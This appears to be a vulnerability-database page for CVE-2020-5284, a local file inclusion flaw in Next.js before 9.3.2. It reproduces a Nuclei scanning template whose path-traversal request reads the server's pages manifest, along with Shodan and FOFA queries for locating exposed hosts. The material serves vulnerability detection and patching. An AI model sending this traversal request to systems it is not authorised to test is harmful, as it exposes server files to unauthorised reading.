CVE-2020-5284: Next.js <9.3.2 - Local File Inclusion

2025-08-01 Next.js PoC Public

Description

Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.

PoC

id: CVE-2020-5284

info:
  name: Next.js <9.3.2 - Local File Inclusion
  author: rootxharsh,iamnoooob,dwisiswant0
  severity: medium
  description: Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: This issue is fixed in version 9.3.2.
  reference:
    - https://github.com/zeit/next.js/releases/tag/v9.3.2
    - https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5284
    - https://github.com/Z0fhack/Goby_POC
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2020-5284
    cwe-id: CWE-22,CWE-23
    epss-score: 0.44334
    epss-percentile: 0.98693
    cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2020,nextjs,lfi,zeit,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/static/../server/pages-manifest.json"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - '\{"/_app":".*?_app\.js"'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fea1a4b3707aa0e3c50c63dabd97fdc7dfa404f8aefcce629a4c3c56e3b2efa9022100b4fca06c8e13090104fc67130031d13258097a8379b5126a8f2fc47597c7e4e8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities